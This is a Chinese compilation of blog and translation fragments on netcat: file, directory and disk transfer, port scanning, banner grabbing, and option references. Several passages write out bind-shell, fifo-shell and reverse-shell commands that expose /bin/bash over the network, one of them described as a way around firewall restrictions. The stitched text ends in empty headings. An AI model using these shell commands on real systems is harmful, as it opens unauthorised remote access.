原文鏈接:https://www.cnblogs.com/lpfuture/p/4638335.html
NetCat,在網絡工具中有“瑞士軍刀”美譽,其有Windows和Linux的版本。因為它短小精悍(1.84版本也不過25k,舊版本或縮減版甚至更小)、功能實用,被設計為一個簡單、可靠的網絡工具,可通過TCP或UDP協議傳輸讀寫數據。同時,它還是一個網絡應用Debug分析器,因為它可以根據需要創建各種不同類型的網絡連接。
一、版本 通常的Linux發行版中都帶有NetCat(簡稱nc),甚至在拯救模式光盤中也由busybox提供了簡版的nc工具。但不同的版本,其參數的使用略有差異。 NetCat 官方地址:http://netcat.sourceforge.net/
引用[root@hatest1 ~]# cat /etc/asianux-release Asianux release 2.0 (Trinity SP2) [root@hatest1 ~]# cat /etc/redflag-release Red Flag DC Server release 5.0 (Trinity SP2) [root@hatest1 ~]# type -a nc nc is /usr/bin/nc [root@hatest1 ~]# rpm -q nc nc-1.10-22
建議在使用前,先用man nc看看幫助。這里以紅旗DC Server 5.0上的1.10版本進行簡單說明。 假設兩服務器信息:
引用server1: 192.168.228.221 server2: 192.168.228.222
二、常見使用 1、遠程拷貝文件 從server1拷貝文件到server2上。需要先在server2上,用nc激活監聽,server2上運行:
引用[root@hatest2 tmp]# nc -lp 1234 > install.log
server1上運行:
引用[root@hatest1 ~]# ll install.log -rw-r--r-- 1 root root 39693 12月 20 2007 install.log [root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log
2、克隆硬盤或分區 操作與上面的拷貝是雷同的,只需要由dd獲得硬盤或分區的數據,然后傳輸即可。 克隆硬盤或分區的操作,不應在已經mount的的系統上進行。所以,需要使用安裝光盤引導后,進入拯救模式(或使用Knoppix工具光盤)啟動系統后,在server2上進行類似的監聽動作:
# nc -l -p 1234 | dd of=/dev/sda
server1上執行傳輸,即可完成從server1克隆sda硬盤到server2的任務:
# dd if=/dev/sda | nc 192.168.228.222 1234
※ 完成上述工作的前提,是需要落實光盤的拯救模式支持服務器上的網卡,並正確配置IP。
3、端口掃描 可以執行:
引用# nc -v -w 1 192.168.228.222 -z 1-1000 hatest2 [192.168.228.222] 22 (ssh) open
4、保存Web頁面
# while true; do nc -l -p 80 -q 1 < somepage.html; done
5、模擬HTTP Headers
引用[root@hatest1 ~]# nc www.linuxfly.org 80 GET / HTTP/1.1 Host: ispconfig.org Referrer: mypage.com User-Agent: my-browser
HTTP/1.1 200 OK Date: Tue, 16 Dec 2008 07:23:24 GMT Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8 Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/ Expires: 0 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Cache-Control: private, post-check=0, pre-check=0, max-age=0 Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/ Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html [......]
在nc命令后,輸入紅色部分的內容,然后按兩次回車,即可從對方獲得HTTP Headers內容。
6、聊天 nc還可以作為簡單的字符下聊天工具使用,同樣的,server2上需要啟動監聽:
[root@hatest2 tmp]# nc -lp 1234
server1上傳輸:
[root@hatest1 ~]# nc 192.168.228.222 1234
這樣,雙方就可以相互交流了。使用Ctrl+D正常退出。
7、傳輸目錄 從server1拷貝nginx-0.6.34目錄內容到server2上。需要先在server2上,用nc激活監聽,server2上運行:
引用[root@hatest2 tmp]# nc -l 1234 |tar xzvf -
server1上運行:
引用[root@hatest1 ~]# ll -d nginx-0.6.34 drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34 [root@hatest1 ~]# tar czvf - nginx-0.6.34|nc 192.168.228.222 1234
8、參數簡介 這僅是一個1.10版本的簡單說明,詳細的參數使用還是需要看man:
引用想要連接到某處: nc [-options] hostname port[s] [ports] ... 綁定端口等待連接: nc -l -p port [-options] [hostname] [port] 參數: -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h 幫助信息 -i secs 延時的間隔 -l 監聽模式,用於入站連接 -n 指定數字的IP地址,不能用hostname -o file 記錄16進制的傳輸 -p port 本地端口號 -r 任意指定本地及遠程端口 -s addr 本地源地址 -u UDP模式 -v 詳細輸出——用兩個-v可得到更詳細的內容 -w secs timeout的時間
-z 將輸入輸出關掉——用於掃描時,其中端口號可以指定一個或者用lo-hi式的指定范圍。
9、1.84版本參數簡介1. nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port] 2. [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_protocol] [-x 3. proxy_address[:port]] [hostname] [port[s]] 1. -4 強制使用ipv4 2. -6 強制使用ipv6 3. -D 允許socket通信返回debug信息 4. -d 不允許從標准輸入中讀取 5. -h 顯示nc幫助文檔 6. -i interval 7. 指定每行之間內容延時發送和接受,也可以使多個端口之間的連接延時 8. -k 當一個連接結束時,強制nc監聽另一個連接。必須和-l一起使用 9. -l 用於監聽傳入的數據鏈接,不能與-p -z -s一起使用。-w 參數的超時也會被忽略 10. -n 不執行任何地址,主機名,端口或DNS查詢 11. -p 指定nc使用的源端口,受權限限制且不能余-l一起使用 12. -r 指定nc使用的源端口和目的端口,不能使用系統原來就指定的那些端口 13. -S 允許在RFC 2385的TCP MD5簽名選項 14. -s source_ip_address 15. 指定用於發包的接口的IP地址,不能和-l一起使用 16. -T ToS 17. 指定鏈接的IP服務類型(TOS) 18. -C 自動換行 19. -t 使nc能夠與telnet交互 20. -U 使用UNIX域socket 21. -u 使用udp代替默認的tcp選項 22. -v 輸出詳細報告 23. -w timeout 24. 一個鏈接一段時間無操作,則自動斷開,默認無超時 25. -X proxy_version 26. 指定nc使用代理時所采用的協議,可選的有socksv4,socks5以及https。默認socks5 27. -x proxy_address[:port] 28. 指定nc使用的代理地址和端口。默認設置:1080(SOCKS),3128(HTTPS) 29. -z 只監聽不發送任何包
三、版本差異 不用系統上提供的nc版本會有說不同,其提供的參數使用方法也略有差異。 例如,紅旗Asianux 3.0 SP1拯救光盤上的版本是供使用的參數僅有一部分:
引用# nc -h BusyBox v1.2.0 (2008.04.14-01:35+0000) multi-call binary
Usage: nc [OPTIONS] [IP] [port]
Netcat opens a pipe to IP:port
Options: -l listen mode, for inbound connects -p PORT local port number -i SECS delay interval for lines sent -e PROG program to exec after connect (dangerous!) -w SECS timeout for connects and final net reads
而在Asianux 3.0 SP1系統中提供的nc版本則是1.84的,按上面的參數用法寫會執行不了:
引用[root@ftpserver ~]# rpm -q nc nc-1.84-10 [root@ftpserver ~]# nc -lp 1234 usage: nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port] [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_version] [-x proxy_address[:port]] [hostname] [port[s]]
講查看man文檔,可見在這個版本中,-l是不能與-s、-p、-z一起使用的,-w參數也會被忽略,所以,正確的用法是:
[root@ftpserver tmp]# nc -l 1234
四、用在腳本中 nc每次啟動監聽后,都會在客戶端連接完成並退出的同時,服務端一同退出。所以,如果需要不斷的使用nc進行數據傳輸,需要在腳本中使用循環。利用nc實現更多的功能,可參考其rpm提供的參考腳本:
引用# rpm -qd nc /usr/share/doc/nc-1.10/Changelog /usr/share/doc/nc-1.10/README /usr/share/doc/nc-1.10/scripts/README /usr/share/doc/nc-1.10/scripts/alta /usr/share/doc/nc-1.10/scripts/bsh /usr/share/doc/nc-1.10/scripts/dist.sh /usr/share/doc/nc-1.10/scripts/irc /usr/share/doc/nc-1.10/scripts/iscan /usr/share/doc/nc-1.10/scripts/ncp /usr/share/doc/nc-1.10/scripts/probe /usr/share/doc/nc-1.10/scripts/web /usr/share/doc/nc-1.10/scripts/webrelay /usr/share/doc/nc-1.10/scripts/websearch /usr/share/man/man1/nc.1.gz
|
中以多種方式使用它。使用netcat命令所能完成的事情令人驚訝。 netcat所做的就是在兩台電腦之間建立鏈接並返回兩個數據流,在這之后所能做的事就看你的想像力了。你能建立一個服務器,傳輸文件,與朋友聊天,傳輸流媒體或者用它作為其它協議的獨立客戶端。 下面是一些使用netcat的例子. [A(172.31.100.7) B(172.31.100.23)] |
晴風曉月
|
|
Linux netcat 命令實例: 1,端口掃描端口掃描經常被系統管理員和黑客用來發現在一些機器上開放的端口,幫助他們識別系統中的漏洞。 $nc -z -v -n 172.31.100.7 21-25可以運行在TCP或者UDP模式,默認是TCP,-u參數調整為udp. z 參數告訴netcat使用0 IO,連接成功后立即關閉連接, 不進行數據交換(謝謝@jxing 指點) v 參數指使用冗余選項(譯者注:即詳細輸出) n 參數告訴netcat 不要使用DNS反向查詢IP地址的域名 這個命令會打印21到25 所有開放的端口。Banner是一個文本,Banner是一個你連接的服務發送給你的文本信息。當你試圖鑒別漏洞或者服務的類型和版本的時候,Banner信息是非常有用的。但是,並不是所有的服務都會發送banner。 一旦你發現開放的端口,你可以容易的使用netcat 連接服務抓取他們的banner。 $ nc -v 172.31.100.7 21netcat 命令會連接開放端口21並且打印運行在這個端口上服務的banner信息。 |
蔥油拌面
|
Chat Server假如你想和你的朋友聊聊,有很多的軟件和信息服務可以供你使用。但是,如果你沒有這么奢侈的配置,比如你在計算機實驗室,所有的對外的連接都是被限制的,你怎樣和整天坐在隔壁房間的朋友溝通那?不要郁悶了,netcat提供了這樣一種方法,你只需要創建一個Chat服務器,一個預先確定好的端口,這樣子他就可以聯系到你了。 Server $nc -l 1567 netcat 命令在1567端口啟動了一個tcp 服務器,所有的標准輸出和輸入會輸出到該端口。輸出和輸入都在此shell中展示。 Client $nc 172.31.100.7 1567不管你在機器B上鍵入什么都會出現在機器A上。 |
蔥油拌面
|
| 其它翻譯版本(1) |
3,文件傳輸大部分時間中,我們都在試圖通過網絡或者其他工具傳輸文件。有很多種方法,比如FTP,SCP,SMB等等,但是當你只是需要臨時或者一次傳輸文件,真的值得浪費時間來安裝配置一個軟件到你的機器上嘛。假設,你想要傳一個文件file.txt 從A 到B。A或者B都可以作為服務器或者客戶端,以下,讓A作為服務器,B為客戶端。 Server $nc -l 1567 < file.txtClient $nc -n 172.31.100.7 1567 > file.txt這里我們創建了一個服務器在A上並且重定向netcat的輸入為文件file.txt,那么當任何成功連接到該端口,netcat會發送file的文件內容。 在客戶端我們重定向輸出到file.txt,當B連接到A,A發送文件內容,B保存文件內容到file.txt. 沒有必要創建文件源作為Server,我們也可以相反的方法使用。像下面的我們發送文件從B到A,但是服務器創建在A上,這次我們僅需要重定向netcat的輸出並且重定向B的輸入文件。 B作為Server Server $nc -l 1567 > file.txt Client nc 172.31.100.23 1567 < file.txt |
蔥油拌面
|
4,目錄傳輸發送一個文件很簡單,但是如果我們想要發送多個文件,或者整個目錄,一樣很簡單,只需要使用壓縮工具tar,壓縮后發送壓縮包。 如果你想要通過網絡傳輸一個目錄從A到B。 Server $tar -cvf – dir_name | nc -l 1567 Client
$nc -n 172.31.100.7 1567 | tar -xvf -這里在A服務器上,我們創建一個tar歸檔包並且通過-在控制台重定向它,然后使用管道,重定向給netcat,netcat可以通過網絡發送它。 在客戶端我們下載該壓縮包通過netcat 管道然后打開文件。 如果想要節省帶寬傳輸壓縮包,我們可以使用bzip2或者其他工具壓縮。 Server
$tar -cvf – dir_name| bzip2 -z | nc -l 1567 通過bzip2壓縮 Client
$nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -使用bzip2解壓 |
蔥油拌面
|
7,克隆一個設備如果你已經安裝配置一台Linux機器並且需要重復同樣的操作對其他的機器,而你不想在重復配置一遍。不在需要重復配置安裝的過程,只啟動另一台機器的一些引導可以隨身碟和克隆你的機器。 克隆Linux PC很簡單,假如你的系統在磁盤/dev/sda上 Server $dd if=/dev/sda | nc -l 1567Client $nc -n 172.31.100.7 1567 | dd of=/dev/sdadd是一個從磁盤讀取原始數據的工具,我通過netcat服務器重定向它的輸出流到其他機器並且寫入到磁盤中,它會隨着分區表拷貝所有的信息。但是如果我們已經做過分區並且只需要克隆root分區,我們可以根據我們系統root分區的位置,更改sda 為sda1,sda2.等等。 |
蔥油拌面
|
8,打開一個shell我們已經用過遠程shell-使用telnet和ssh,但是如果這兩個命令沒有安裝並且我們沒有權限安裝他們,我們也可以使用netcat創建遠程shell。 假設你的netcat支持 -c -e 參數(默認 netcat) Server $nc -l 1567 -e /bin/bash -iClient $nc 172.31.100.7 1567這里我們已經創建了一個netcat服務器並且表示當它連接成功時執行/bin/bash 假如netcat 不支持-c 或者 -e 參數(openbsd netcat),我們仍然能夠創建遠程shell Server $mkfifo /tmp/tmp_fifo $cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo這里我們創建了一個fifo文件,然后使用管道命令把這個fifo文件內容定向到shell 2>&1中。是用來重定向標准錯誤輸出和標准輸出,然后管道到netcat 運行的端口1567上。至此,我們已經把netcat的輸出重定向到fifo文件中。 說明: 從網絡收到的輸入寫到fifo文件中 cat 命令讀取fifo文件並且其內容發送給sh命令 sh命令進程受到輸入並把它寫回到netcat。 netcat 通過網絡發送輸出到client 至於為什么會成功是因為管道使命令平行執行,fifo文件用來替代正常文件,因為fifo使讀取等待而如果是一個普通文件,cat命令會盡快結束並開始讀取空文件。 在客戶端僅僅簡單連接到服務器 Client $nc -n 172.31.100.7 1567你會得到一個shell提示符在客戶端 |
蔥油拌面
|
| 其它翻譯版本(1) |
反向shell反向shell是指在客戶端打開的shell。反向shell這樣命名是因為不同於其他配置,這里服務器使用的是由客戶提供的服務。 服務端 $nc -l 1567在客戶端,簡單地告訴netcat在連接完成后,執行shell。 客戶端 $nc 172.31.100.7 1567 -e /bin/bash現在,什么是反向shell的特別之處呢 反向shell經常被用來繞過防火牆的限制,如阻止入站連接。例如,我有一個專用IP地址為172.31.100.7,我使用代理服務器連接到 外部網絡。如果我想從網絡外部訪問 這台機器如1.2.3.4的shell,那么我會用反向外殼用於這一目的。 |
showme
|
原文鏈接:https://www.cnblogs.com/nmap/p/6148306.html
什么是nc
nc是netcat的簡寫,有着網絡界的瑞士軍刀美譽。因為它短小精悍、功能實用,被設計為一個簡單、可靠的網絡工具
nc的作用
nc的控制參數不少,常用的幾個參數如下所列:
前期准備
測試網速其實利用了傳輸文件的原理,就是把來自一台機器的/dev/zero 發送給另一台機器的/dev/null








